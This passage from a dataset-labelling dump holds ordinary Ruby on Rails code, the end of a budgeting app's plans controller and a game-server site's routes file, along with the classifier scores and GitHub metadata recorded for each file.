?\", end_of_month).group(:name).sum(:spending_money)\n @zandaka = @plan.money_amount - @spending_money_total\n end\n\n #円グラフ表示用\n if @plan_specific.present?\n @usage_sum_arr = @usages.group(:purpose).sum(:spending_money)\n @chart = {@plan_specific.choice1 => @usage_sum_arr[@plan_specific.choice1], @plan_specific.choice2 => @usage_sum_arr[@plan_specific.choice2], @plan_specific.choice3 => @usage_sum_arr[@plan_specific.choice3]}\n end\n end\n #プラン登録画面描画用\n def new\n @plan = Plan.new\n @group = Group.find(params[:group_id])\n @new_flag = true\n @edit_flag = false\n end\n\n def confirm\n @plan = Plan.new(plan_params)\n @group = Group.find(params[:group_id])\n @new_flag = true\n @edit_flag = false\n return if @plan.valid?\n render :new\n end\n\n def back\n @plan = Plan.new(plan_params)\n @group = Group.find(params[:group_id])\n @new_flag = true\n @edit_flag = false\n render :new\n end\n\n #プラン編集画面描画用\n def edit\n @plan = Plan.find(params[:id])\n find_group()\n @new_flag = false\n @edit_flag = true\n end\n\n def edit_confirm\n @plan = Plan.find(params[:id])\n @plan.money_amount = plan_params[:money_amount]\n @plan.year = plan_params[:year]\n @plan.month = plan_params[:month]\n @plan.choice1 = plan_params[:choice1]\n @plan.choice2 = plan_params[:choice2]\n @plan.choice3 = plan_params[:choice3]\n @plan.group_id = plan_params[:group_id]\n find_group()\n @edit_flg = params[:edit_flg]\n return if @plan.valid?\n render :edit\n end\n\n def edit_back\n @plan = Plan.new(plan_params)\n @new_flag = false\n @edit_flag = true\n find_group()\n render :edit\n end\n\n #プラン登録画面からパラメータがPOSTされてきたときの処理\n def create\n @group = Group.find(params[:group_id])\n @plan = Plan.new(plan_params)\n if @plan.save\n flash[:notice] = \"プランを作成しました\"\n redirect_to(\"/groups/#{params[:group_id]}/plans\")\n else\n flash.now[:alert] = \"プラン作成に失敗しました\"\n render(\"plans/new\")\n end\n end\n #プラン編集画面からパラメータがPOSTされてきたときの処理\n def update\n @plan = Plan.find_by(group_id: params[:group_id], id: params[:id])\n if @plan.update(plan_params)\n flash[:notice] = \"プランを編集しました\"\n redirect_to(\"/groups/#{params[:group_id]}/plans\")\n else\n flash.now[:alert] = \"プラン編集に失敗しました\"\n render :edit\n end\n end\n\n private\n def plan_params\n params.require(:plan).permit(:money_amount, :year, :month, :choice1, :choice2, :choice3, :group_id)\n end\n\n private\n def find_group\n @group = Group.find(params[:group_id])\n end\n\n private\n def user_match_check\n @belong_group_ids = current_user.groups.ids #配列形式\n if @belong_group_ids.include?(params[:group_id].to_i)\n @user_match_flag = true\n else\n @user_match_flag = false\n end\n end\nend\n", "text_preview": "class PlansController < ApplicationController require \"date\" before_action :plan_params, only:[:create,:confirm,:back] before_action :user_match_check #グループIDに紐づくプランを表示 def index @group = Group.find_by(id: params[:group_id]) @plan = Plan.fi", "input_sha256": "d3493262a419e7594295bef44e79e033f263ec37faeec2e163609e16097f4d52", "text_sha256": "dc0af4d841f80ab1c192f9042b3df2feb0508173fc9ee2272180bc33e9c68a6b", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16113, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.5681299301932494, "noise_severity": 0.016895654560436613, "missing_content_severity": 0.010402750265836626, "factual_density": 3.4003668233425395, "pretraining_utility": 0.42167097249457397, "math_density": 0.24954897523798514, "code_density": 3.928128499608214, "reasoning_density": 0.9982191675667391, "education_level": 2.1045564288721668, "creative_writing_quality": -0.4115735364959358}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.0016357917751051998, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9969179880505046, "secondary": 0.9888189977660582, "tertiary": 0.9905259109226897, "structured_records": 0.002783896560484854, "procedural_steps": 0.0028053121573134634, "worked_solution": 0.0018020638721302047, "contextual_dialogue": 1.1007459358452036e-05, "content_quality": 0.43742263551322025, "noise_severity": 0.9859202878663028, "missing_content_severity": 0.9913310414451362, "factual_density": 0.5003056861187827, "pretraining_utility": 0.45966880789133513, "math_density": 0.7920425206350123, "code_density": 0.9401070830068446, "reasoning_density": 0.16815069369438418, "education_level": 0.7978568881474657, "creative_writing_quality": 0.9984319228821903, "primary_topic": 0.9808255152950673, "secondary_topic": 0.7059287154259805}, "probability_margin": {"primary": 0.9954175497402853, "secondary": 0.984088777788414, "tertiary": 0.9861078689589163, "education_level": 0.7049069228073861, "creative_writing_quality": 0.9980399548306922, "primary_topic": 0.9671764354205076, "secondary_topic": 0.4901514519867637}, "raw_probabilities": {"primary": {"Academic Writing": 4.257846615300434e-05, "Content Listing": 2.7960680164368122e-05, "Creative Writing": 2.3834875644753662e-05, "Customer Support Page": 9.392506342175796e-06, "Q&A Forum": 1.4647295934821325e-05, "Discussion Thread": 8.871736315710549e-06, "Comment Section": 1.7616980646889344e-05, "Missing Content": 3.481923922773806e-05, "Knowledge Article": 9.39937051181952e-05, "Legal Notices": 4.557685283174782e-05, "News Article": 5.12742651547012e-06, "Organizational Announcement": 1.2921971856034227e-05, "Nonfiction Writing": 1.2971204776393533e-05, "Organizational About Page": 1.250837974589093e-05, "Personal About Page": 2.0048260322984156e-05, "Personal Blog": 8.931453527078946e-06, "Product Page": 8.741054892386892e-06, "Spam / Ads": 1.1331545922632907e-05, "Structured Data": 0.0006106437500033268, "Technical Writing": 0.9970464052150669, "Transcript / Interview": 1.628453090338084e-05, "Tutorial / How-To Guide": 0.00027844873798810686, "User Reviews": 7.488655318626344e-06, "Other / Unknown": 0.0016288554747816329}, "secondary": {"Academic Writing": 9.408615954280618e-05, "Content Listing": 8.975212988461625e-05, "Creative Writing": 9.696840547650513e-05, "Customer Support Page": 4.46527291547327e-05, "Q&A Forum": 3.2447374979450807e-05, "Discussion Thread": 2.9752237051025848e-05, "Comment Section": 0.0012868353149318012, "Missing Content": 0.0002494636911028331, "Knowledge Article": 0.0005910165889329065, "Legal Notices": 0.00011964149000730967, "News Article": 4.793509062204427e-05, "Organizational Announcement": 4.3058429802803584e-05, "Nonfiction Writing": 5.847449542680373e-05, "Organizational About Page": 5.9902295648535706e-05, "Personal About Page": 4.891745946868761e-05, "Personal Blog": 4.249187665772233e-05, "Product Page": 2.942411341522687e-05, "Spam / Ads": 5.589634841673675e-05, "Structured Data": 0.0017783714634251864, "Technical Writing": 0.005196095070725203, "Transcript / Interview": 5.345434878383487e-05, "Tutorial / How-To Guide": 0.0006431400572126342, "User Reviews": 2.334997019150272e-05, "NONE": 0.9892848728591391}, "tertiary": {"Academic Writing": 6.184185056530752e-05, "Content Listing": 7.462439919240942e-05, "Creative Writing": 8.166130011293504e-05, "Customer Support Page": 3.8574177188144874e-05, "Q&A Forum": 2.3176533080240716e-05, "Discussion Thread": 1.8799642171221964e-05, "Comment Section": 0.000637078823481129, "Missing Content": 0.0002792483366333216, "Knowledge Article": 0.00041765471050417475, "Legal Notices": 0.00014176187522871168, "News Article": 3.768515339119322e-05, "Organizational Announcement": 3.4483042611296546e-05, "Nonfiction Writing": 7.57277421634838e-05, "Organizational About Page": 5.656510241662546e-05, "Personal About Page": 3.6219154577551625e-05, "Personal Blog": 3.404806919052579e-05, "Product Page": 2.5313249546532577e-05, "Spam / Ads": 4.933350105803105e-05, "Structured Data": 0.0012255569677026902, "Technical Writing": 0.004812795675327994, "Transcript / Interview": 4.1356196856919046e-05, "Tutorial / How-To Guide": 0.0008567671210859928, "User Reviews": 1.9062741669320477e-05, "NONE": 0.9909206646342443}, "structured_records": {"false": 0.9972161034395152, "true": 0.002783896560484854}, "procedural_steps": {"false": 0.9971946878426865, "true": 0.0028053121573134634}, "worked_solution": {"false": 0.9981979361278698, "true": 0.0018020638721302047}, "contextual_dialogue": {"false": 0.9999889925406416, "true": 1.1007459358452036e-05}, "content_quality": {"-2": 0.01289849972277763, "-1": 0.08462605316400595, "0": 0.34553384809909826, "1": 0.43533021522542564, "2": 0.1216113837886925}, "noise_severity": {"0": 0.9861371588853126, "1": 0.011657327618451344, "2": 0.0016257977063737865, "3": 0.00033213163021167207, "4": 0.0002475841596506697}, "missing_content_severity": {"0": 0.9950199436777301, "1": 0.0012329469776642835, "2": 0.0023468085042083345, "3": 0.0011250170818328479, "4": 0.00027528375856428216}, "factual_density": {"0": 0.005295486518084027, "1": 0.009232194523735197, "2": 0.08949605146332888, "3": 0.3717625440872612, "4": 0.5242137234075906}, "pretraining_utility": {"-2": 0.00954728311733391, "-1": 0.09426866278324407, "0": 0.42204147588349217, "1": 0.4132509549193741, "2": 0.060891623296555876}, "math_density": {"0": 0.8334348059807111, "1": 0.12052679418159887, "2": 0.024612061851188402, "3": 0.005907294591996677, "4": 0.015519043394504854}, "code_density": {"0": 0.00011445813807457091, "1": 0.00020138514534923793, "2": 0.007488159002845922, "3": 0.055833194397748545, "4": 0.9363628033159817}, "reasoning_density": {"0": 0.5550716914035474, "1": 0.09137069132856128, "2": 0.20451596608369516, "3": 0.09835006066599739, "4": 0.05069159051819883}, "education_level": {"none": 0.0012885848258256864, "0": 0.0017988447012453473, "1": 0.03202348497920312, "2": 0.8315474067895547, "3": 0.1266404839821686, "4": 0.006701194722002571}, "creative_writing_quality": {"not_applicable": 0.9986932690684919, "-2": 0.00015488964188076898, "-1": 0.00037871158188273725, "0": 0.0006533142377997285, "1": 8.895594497507047e-05, "2": 3.08595249698769e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 4.1318560949316104e-05, "Art & Design": 7.91153629106155e-05, "Law & Crime": 7.248953944043144e-05, "Education & Careers": 5.911838332725359e-05, "Entertainment & Media": 5.0625066056642805e-05, "Fashion & Beauty": 7.173929427188782e-05, "Business, Economics & Finance": 0.01438656005551879, "Food & Dining": 0.0001474346586694663, "Games & Gaming": 0.00015214738090281097, "Electronics & Hardware": 0.00010898024729864557, "Health, Healthcare & Wellness": 4.553673500227069e-05, "History & Geography": 6.0040429329120935e-05, "Home, Pets & Hobbies": 0.0005733035916543503, "Industry & Production": 8.914843684500832e-05, "Language, Literature & Philosophy": 6.858768125439973e-05, "Politics & Government": 4.250907076913345e-05, "Religion & Spirituality": 4.880623940886604e-05, "Science, Mathematics & Engineering": 0.00019742771250057952, "Relationships & Community": 0.00015877278195453026, "Software Usage & Applications": 0.0009069090340841618, "Programming & Software Engineering": 0.9815629954760263, "Sports & Fitness": 6.605770249187107e-05, "Vehicles & Transportation": 3.32256250897938e-05, "Travel & Tourism": 6.559303673317951e-05, "Other / Uncovered Subject": 0.0007740480772151238, "Unknown / Insufficient Content": 0.00013750982029548251}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0006926965413714606, "Art & Design": 0.0007238126268354742, "Law & Crime": 0.0009499509216438844, "Education & Careers": 0.00047902498084708887, "Entertainment & Media": 0.0005132531559006052, "Fashion & Beauty": 0.0004267490054769922, "Business, Economics & Finance": 0.2270876974612944, "Food & Dining": 0.000541850621842006, "Games & Gaming": 0.0007523381796891212, "Electronics & Hardware": 0.0006642024183584264, "Health, Healthcare & Wellness": 0.00042978032325298335, "History & Geography": 0.0003918616865513851, "Home, Pets & Hobbies": 0.001615480267940753, "Industry & Production": 0.0004500888075963135, "Language, Literature & Philosophy": 0.0006596739958033962, "Politics & Government": 0.0003294602159891059, "Religion & Spirituality": 0.00045335703133928223, "Science, Mathematics & Engineering": 0.0007416068886833458, "Relationships & Community": 0.00044359621883466966, "Software Usage & Applications": 0.003285525051829426, "Programming & Software Engineering": 0.03820664972370059, "Sports & Fitness": 0.0002793131556155384, "Vehicles & Transportation": 0.00018185500531306734, "Travel & Tourism": 0.0004025104316501864, "Other / Uncovered Subject": 0.002058515834582319, "NONE": 0.7172391494480581}}, "probabilities": {"primary": {"Academic Writing": 4.257846615300433e-05, "Content Listing": 2.7960680164368116e-05, "Creative Writing": 2.3834875644753656e-05, "Customer Support Page": 9.392506342175795e-06, "Q&A Forum": 1.4647295934821321e-05, "Discussion Thread": 8.871736315710547e-06, "Comment Section": 1.761698064688934e-05, "Missing Content": 3.4819239227738056e-05, "Knowledge Article": 9.399370511819518e-05, "Legal Notices": 4.5576852831747814e-05, "News Article": 5.127426515470119e-06, "Organizational Announcement": 1.2921971856034224e-05, "Nonfiction Writing": 1.297120477639353e-05, "Organizational About Page": 1.2508379745890926e-05, "Personal About Page": 2.0048260322984152e-05, "Personal Blog": 8.931453527078944e-06, "Product Page": 8.74105489238689e-06, "Spam / Ads": 1.1331545922632906e-05, "Structured Data": 0.0006106437500033267, "Technical Writing": 0.9970464052150667, "Transcript / Interview": 1.6284530903380837e-05, "Tutorial / How-To Guide": 0.0002784487379881068, "User Reviews": 7.488655318626343e-06, "Other / Unknown": 0.0016288554747816324}, "secondary": {"Academic Writing": 9.408615954280618e-05, "Content Listing": 8.975212988461625e-05, "Creative Writing": 9.696840547650513e-05, "Customer Support Page": 4.46527291547327e-05, "Q&A Forum": 3.2447374979450807e-05, "Discussion Thread": 2.9752237051025848e-05, "Comment Section": 0.0012868353149318012, "Missing Content": 0.0002494636911028331, "Knowledge Article": 0.0005910165889329065, "Legal Notices": 0.00011964149000730967, "News Article": 4.793509062204427e-05, "Organizational Announcement": 4.3058429802803584e-05, "Nonfiction Writing": 5.847449542680373e-05, "Organizational About Page": 5.9902295648535706e-05, "Personal About Page": 4.891745946868761e-05, "Personal Blog": 4.249187665772233e-05, "Product Page": 2.942411341522687e-05, "Spam / Ads": 5.589634841673675e-05, "Structured Data": 0.0017783714634251864, "Technical Writing": 0.005196095070725203, "Transcript / Interview": 5.345434878383487e-05, "Tutorial / How-To Guide": 0.0006431400572126342, "User Reviews": 2.334997019150272e-05, "NONE": 0.9892848728591391}, "tertiary": {"Academic Writing": 6.184185056530752e-05, "Content Listing": 7.462439919240942e-05, "Creative Writing": 8.166130011293504e-05, "Customer Support Page": 3.8574177188144874e-05, "Q&A Forum": 2.3176533080240716e-05, "Discussion Thread": 1.8799642171221964e-05, "Comment Section": 0.000637078823481129, "Missing Content": 0.0002792483366333216, "Knowledge Article": 0.00041765471050417475, "Legal Notices": 0.00014176187522871168, "News Article": 3.768515339119322e-05, "Organizational Announcement": 3.4483042611296546e-05, "Nonfiction Writing": 7.57277421634838e-05, "Organizational About Page": 5.656510241662546e-05, "Personal About Page": 3.6219154577551625e-05, "Personal Blog": 3.404806919052579e-05, "Product Page": 2.5313249546532577e-05, "Spam / Ads": 4.933350105803105e-05, "Structured Data": 0.0012255569677026902, "Technical Writing": 0.004812795675327994, "Transcript / Interview": 4.1356196856919046e-05, "Tutorial / How-To Guide": 0.0008567671210859928, "User Reviews": 1.9062741669320477e-05, "NONE": 0.9909206646342443}, "structured_records": {"false": 0.9972161034395152, "true": 0.002783896560484854}, "procedural_steps": {"false": 0.9971946878426865, "true": 0.0028053121573134634}, "worked_solution": {"false": 0.9981979361278698, "true": 0.0018020638721302047}, "contextual_dialogue": {"false": 0.9999889925406416, "true": 1.1007459358452036e-05}, "content_quality": {"-2": 0.01289849972277763, "-1": 0.08462605316400595, "0": 0.34553384809909826, "1": 0.43533021522542564, "2": 0.1216113837886925}, "noise_severity": {"0": 0.9861371588853126, "1": 0.011657327618451344, "2": 0.0016257977063737865, "3": 0.00033213163021167207, "4": 0.0002475841596506697}, "missing_content_severity": {"0": 0.9950199436777303, "1": 0.0012329469776642837, "2": 0.002346808504208335, "3": 0.001125017081832848, "4": 0.0002752837585642822}, "factual_density": {"0": 0.005295486518084027, "1": 0.009232194523735197, "2": 0.08949605146332888, "3": 0.3717625440872612, "4": 0.5242137234075906}, "pretraining_utility": {"-2": 0.00954728311733391, "-1": 0.09426866278324407, "0": 0.42204147588349217, "1": 0.4132509549193741, "2": 0.060891623296555876}, "math_density": {"0": 0.8334348059807112, "1": 0.12052679418159888, "2": 0.024612061851188406, "3": 0.005907294591996678, "4": 0.015519043394504856}, "code_density": {"0": 0.00011445813807457092, "1": 0.00020138514534923796, "2": 0.007488159002845923, "3": 0.05583319439774855, "4": 0.9363628033159818}, "reasoning_density": {"0": 0.5550716914035474, "1": 0.09137069132856128, "2": 0.20451596608369516, "3": 0.09835006066599739, "4": 0.05069159051819883}, "education_level": {"none": 0.0012885848258256864, "0": 0.0017988447012453473, "1": 0.03202348497920312, "2": 0.8315474067895547, "3": 0.1266404839821686, "4": 0.006701194722002571}, "creative_writing_quality": {"not_applicable": 0.9986932690684919, "-2": 0.00015488964188076898, "-1": 0.00037871158188273725, "0": 0.0006533142377997285, "1": 8.895594497507047e-05, "2": 3.08595249698769e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 4.1318560949316104e-05, "Art & Design": 7.91153629106155e-05, "Law & Crime": 7.248953944043144e-05, "Education & Careers": 5.911838332725359e-05, "Entertainment & Media": 5.0625066056642805e-05, "Fashion & Beauty": 7.173929427188782e-05, "Business, Economics & Finance": 0.01438656005551879, "Food & Dining": 0.0001474346586694663, "Games & Gaming": 0.00015214738090281097, "Electronics & Hardware": 0.00010898024729864557, "Health, Healthcare & Wellness": 4.553673500227069e-05, "History & Geography": 6.0040429329120935e-05, "Home, Pets & Hobbies": 0.0005733035916543503, "Industry & Production": 8.914843684500832e-05, "Language, Literature & Philosophy": 6.858768125439973e-05, "Politics & Government": 4.250907076913345e-05, "Religion & Spirituality": 4.880623940886604e-05, "Science, Mathematics & Engineering": 0.00019742771250057952, "Relationships & Community": 0.00015877278195453026, "Software Usage & Applications": 0.0009069090340841618, "Programming & Software Engineering": 0.9815629954760263, "Sports & Fitness": 6.605770249187107e-05, "Vehicles & Transportation": 3.32256250897938e-05, "Travel & Tourism": 6.559303673317951e-05, "Other / Uncovered Subject": 0.0007740480772151238, "Unknown / Insufficient Content": 0.00013750982029548251}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0006926965413714607, "Art & Design": 0.0007238126268354743, "Law & Crime": 0.0009499509216438846, "Education & Careers": 0.0004790249808470889, "Entertainment & Media": 0.0005132531559006053, "Fashion & Beauty": 0.00042674900547699226, "Business, Economics & Finance": 0.22708769746129442, "Food & Dining": 0.0005418506218420061, "Games & Gaming": 0.0007523381796891213, "Electronics & Hardware": 0.0006642024183584265, "Health, Healthcare & Wellness": 0.0004297803232529834, "History & Geography": 0.00039186168655138515, "Home, Pets & Hobbies": 0.0016154802679407532, "Industry & Production": 0.00045008880759631357, "Language, Literature & Philosophy": 0.0006596739958033963, "Politics & Government": 0.00032946021598910595, "Religion & Spirituality": 0.0004533570313392823, "Science, Mathematics & Engineering": 0.0007416068886833459, "Relationships & Community": 0.0004435962188346697, "Software Usage & Applications": 0.0032855250518294262, "Programming & Software Engineering": 0.038206649723700595, "Sports & Fitness": 0.00027931315561553847, "Vehicles & Transportation": 0.00018185500531306737, "Travel & Tourism": 0.0004025104316501865, "Other / Uncovered Subject": 0.0020585158345823194, "NONE": 0.7172391494480582}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 10220, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 10220, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:37:02.056951+00:00", "scoring_key_slot": "primary", "dataset_uid": "6ffeab97-cd13-4d57-99b7-37357b61370e", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "914e589c8c578c565d63a152879f6c77fbbcdd69567ecc50b17ce0248fc7e9cf", "source_metadata": {"uuid": "6ffeab97-cd13-4d57-99b7-37357b61370e", "repo_name": "y-ohara8814/money_counter", "relative_path": "app/controllers/plans_controller.rb", "category": "WEB", "algo_rel_score": 0.9821884036064148, "quality_score": 4.418000221252441, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 123, "repo_created_at": "2020-05-25T13:56:41.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 39, "pull_requests": 9}, "file_meta": {"content_id": "cc22f0d23d8db48618f9e73474307a4082e31492", "size_bytes": 7480, "file_timestamp": 1604719480, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "a4cf536d755ee34515419909caa4923ba3abf0e3"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 123, "repo_created_at": "2020-05-25T13:56:41.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 39, "pull_requests": 9}, "file_meta": {"content_id": "cc22f0d23d8db48618f9e73474307a4082e31492", "size_bytes": 7480, "file_timestamp": 1604719480, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "a4cf536d755ee34515419909caa4923ba3abf0e3", "url": "https://github.com/y-ohara8814/money_counter/blob/a4cf536d755ee34515419909caa4923ba3abf0e3/app/controllers/plans_controller.rb"}, "gpt4o_tokens": 1767, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.5681299301932494, "noise_severity": 0.016895654560436613, "missing_content_severity": 0.010402750265836626, "factual_density": 3.4003668233425395, "pretraining_utility": 0.42167097249457397, "math_density": 0.24954897523798514, "code_density": 3.928128499608214, "reasoning_density": 0.9982191675667391, "education_level": 2.1045564288721668, "creative_writing_quality": -0.4115735364959358}, "score_applicability": {"education_level": 0.9987114151741744, "creative_writing_quality": 0.001306730931508182}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/minefold/minefold/blob/856104c96544af62ca59efd49849db2586570adf/config/routes.rb", "id": "ruby-0-c44d472dbe9cf00729b5a66da014cd44", "text": "Minefold::Application.routes.draw do\n mount MailPreview => 'mail_view' if Rails.env.development?\n\n# Constraints\n\n @admins = ->(req) { (u = req.env['warden'].user) && u.admin? }\n @development = ->(req) { Rails.env.development? }\n @feature = ->(feature) { ->(req) { u = req.env['warden'].user && false } }\n\n# --\n\n constraints(@admins) do\n mount Resque::Server, at: '/admin/resque'\n end\n\n# --\n\n # Webhooks\n scope path: 'webhooks', module: 'webhooks' do\n post 'atlas' => 'atlas#create'\n post 'help_scout' => 'help_scout#create'\n post 'mailgun' => 'mailgun#create'\n post 'party_cloud' => 'party_cloud#create'\n post 'stripe' => 'stripe#create'\n post 'zim' => 'zim#create'\n end\n\n # Legacy Zim callback\n post '/hooks/zim/map_deleted' => 'webhooks/zim#create'\n\n# --\n\n\n # Static Pages\n\n { '/about' => :about,\n '/developers' => :developers,\n '/time' => :time,\n '/home' => :home,\n '/privacy' => :privacy,\n '/help' => :support,\n '/terms' => :terms\n }.each do |url, name|\n get url, controller: 'pages', action: name, as: \"#{name}_page\"\n end\n\n # redirect sitemap requests to cloudfront\n match \"/sitemap*path\" => redirect {|p, req|\n \"#{ENV['ASSET_HOST']}/sitemap#{p[:path]}.#{p[:format]}\"\n }\n\n post '/pusher/auth' => 'pusher#auth'\n\n get '/channel.html' => 'facebook#channel', :as => :facebook_channel\n\n devise_for :user, controllers: {\n omniauth_callbacks: 'omniauth_callbacks',\n }, :skip => [:registrations]\n\n # Christmas Promotion\n get '/xmas' => 'gifts#index', :as => :xmas_promo\n get '/xmas/:id/cheers' => 'gifts#cheers', :as => :xmas_cheers\n\n controller :explore, path: '/explore' do\n\n get '/', :action => :index\n end\n\n resources :stats, only: [] do\n get :sessions, :on => :collection\n end\n\n resources :funpacks, path: 'games'\n\n\n # Authenticated routes\n as :user do\n\n # Devise overrides\n get '/settings' => 'devise/registrations#edit', :as => :edit_user_registration\n get '/resend_confirmation' => 'users#resend_confirmation', :as => :resend_confirmation\n\n get '/i/:invitation_token' => 'invitations#show', :as => :invitation\n post '/invitations' => 'invitations#create'\n\n resources :accounts do\n get :link_mojang, :on => :collection\n end\n\n get '/more-time' => 'bonuses#index', :as => :bonuses\n\n match '/redeem' => redirect('/gifts/redeem')\n\n resources :orders, only: [:create, :show]\n resources :subscriptions, only: [:create, :show] do\n get :thank_you, :on => :collection\n end\n put '/subscription' => 'subscriptions#update', :as => :update_subscription\n\n resources :servers, path_names: {edit: 'settings'} do\n collection do\n get 'list'\n get 'list/*start_index' => 'servers#list'\n end\n\n member do\n post :start\n post :stop\n get :logs\n get :getting_started\n\n controller 'servers/watchers' do\n post 'watch', :action => :create\n post 'unwatch', :action => :destroy\n end\n\n controller 'servers/stars' do\n post 'star', :action => :create\n post 'unstar', :action => :destroy\n end\n\n controller 'servers/gameplay' do\n put 'gameplay', :action => :update\n end\n end\n\n scope module: 'servers' do\n resources :posts, only: [:create]\n resource :map, only: [:show] do\n get :embed\n end\n resources :uploads, only: [:create] do\n get :sign, :on => :collection\n end\n end\n end\n\n scope '/users/accounts', controller: 'accounts', :as => :accounts do\n put :unlink_facebook\n\n get :link_minecraft\n put :unlink_minecraft\n end\n\n authenticated do\n get '/dashboard' => 'dashboard#index', :as => :user_root\n get '/dashboard' => 'dashboard#index', :as => :dashboard\n end\n\n resources :users, path: '/',\n only: [:show, :update] do\n get :onboard, :on => :collection, path: 'welcome'\n end\n end\n\n root to: 'pages#home'\n\nend\n", "text_preview": "Minefold::Application.routes.draw do mount MailPreview => 'mail_view' if Rails.env.development? # Constraints @admins = ->(req) { (u = req.env['warden'].user) && u.admin? } @development = ->(req) { Rails.env.development? } @feature = ->(fea", "input_sha256": "b97d269e74358c373b28f3160183640dc75588cb8d04cdae0c730cabdc5dad36", "text_sha256": "c44d472dbe9cf00729b5a66da014cd4431c2daa24cef081b40b8275913679573", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16114, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, 